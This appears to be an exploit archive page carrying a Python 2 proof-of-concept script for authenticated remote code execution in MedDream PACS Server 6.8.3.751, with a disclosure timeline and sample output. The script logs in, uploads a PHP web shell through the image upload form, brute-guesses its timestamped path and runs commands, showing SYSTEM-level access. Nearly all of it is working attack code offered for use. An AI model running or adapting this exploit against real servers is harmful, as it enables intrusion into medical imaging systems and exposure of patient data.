Exploit for MedDream PACS Server 6.8.3.751 Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:159448
#!/usr/bin/python  
#  
#  
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)  
# Exploit Author: bzyo  
# Twitter: @bzyo_  
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)  
# Date: 2020-10-01  
# Vulnerable Software: https://www.softneta.com/products/meddream-pacs-server/  
# Vendor Homepage: https://www.softneta.com  
# Version: 6.8.3.751  
# Tested On: Windows 2016  
#  
#  
# Timeline  
# 05-02-20: Submitted incident through email, immediate response  
# 05-04-20: Issue resolved, New version released 6.8.3.1.751  
#   
# Note: Core Vulnerability resides in another product which has been remediated as well  
#  
##PoC##  
#  
# 1. create one line php shell to call commands  
# 2. run script on attacking machine  
# 3. enter parameters; IP, filename, username, password, command  
#   
#  
# root@kali:~# python meddream.py   
# Enter IP Address: 192.168.0.223  
# Enter payload filename + .php: cmd.php  
# Enter Username: user1  
# Enter Password: SoSecure!!  
# Enter command: whoami  
# 212357  
# <pre>nt authority\system  
# </pre>  
# http://192.168.0.223/Pacs/upload/20201001-212357--cmd.php?cmd=whoami  
# 404  
# 404  
# 404  
# 404  
# 404  
# 404  
# 404  
# 404  
# 404  
#  
#  
  
from urllib2 import urlopen   
from bs4 import BeautifulSoup  
import requests  
import sys  
import time  
from datetime import datetime, timedelta  
  
ip_addr = raw_input("Enter IP Address: ")  
user_file = raw_input("Enter payload filename + .php: ")  
uname = raw_input("Enter Username: ")  
pword = raw_input("Enter Password: ")  
cmd = raw_input("Enter command: ")  
  
URL1= 'http://' + ip_addr + '/Pacs/login.php'  
URL2= 'http://' + ip_addr + '/Pacs/authenticate.php'  
URL3= 'http://' + ip_addr + '/Pacs/uploadImage.php'  
  
def main():  
session = requests.Session()   
  
site = session.get(URL1)  
  
soup = BeautifulSoup(site.content, "html.parser")  
antispam = soup.find("input", {"name":"formAntiSpam"})["value"]  
dbname = soup.find("input", {"name":"aetitle"})["value"]  
login_data = {  
'loginvalue': 'login',  
'aetitle': dbname,  
'username': uname,  
'password': pword,  
'formAntispam': antispam,  
'login': 'Login',  
}  
  
r = session.post(URL2, data = login_data)  
  
  
files = [  
('actionvalue', (None, 'Attach', None)),  
('uploadfile', (user_file, open(user_file, 'rb'), 'application/x-php')),  
('action', (None, 'Attach', None)),  
]  
  
r = session.post(URL3, files=files)  
  
today = datetime.today()  
upload_date = today.strftime("%Y%m%d")  
  
less = 1  
now1 = datetime.now()  
up_time1 = now1.strftime("%H%M%S")  
print(up_time1)  
#varying time checks +/-  
now2 = now1 - timedelta(seconds=less)  
up_time2 = now2.strftime("%H%M%S")  
now3 = now2 - timedelta(seconds=less)  
up_time3 = now3.strftime("%H%M%S")  
now4 = now3 - timedelta(seconds=less)  
up_time4 = now4.strftime("%H%M%S")  
now5 = now4 - timedelta(seconds=less)  
up_time5 = now5.strftime("%H%M%S")  
now6 = now5 - timedelta(seconds=less)  
up_time6 = now6.strftime("%H%M%S")  
now7 = now6 - timedelta(seconds=less)  
up_time7 = now7.strftime("%H%M%S")  
now8 = now1 + timedelta(seconds=less)  
up_time8 = now8.strftime("%H%M%S")  
now9 = now8 + timedelta(seconds=less)  
up_time9 = now8.strftime("%H%M%S")  
now10 = now1 + timedelta(seconds=less)  
up_time10 = now9.strftime("%H%M%S")  
  
  
up_time_array = [up_time1, up_time2, up_time3, up_time4, up_time5, up_time6, up_time7, up_time8, up_time9, up_time10]   
for i in up_time_array:   
r = session.get('http://' + ip_addr + '/Pacs/upload/'+ upload_date + "-" + i + "--" + user_file + "?cmd=" + cmd)  
if r.status_code == 200:   
print r.content  
print r.url  
else:  
print ("404")  
  
if __name__ == '__main__':  
main()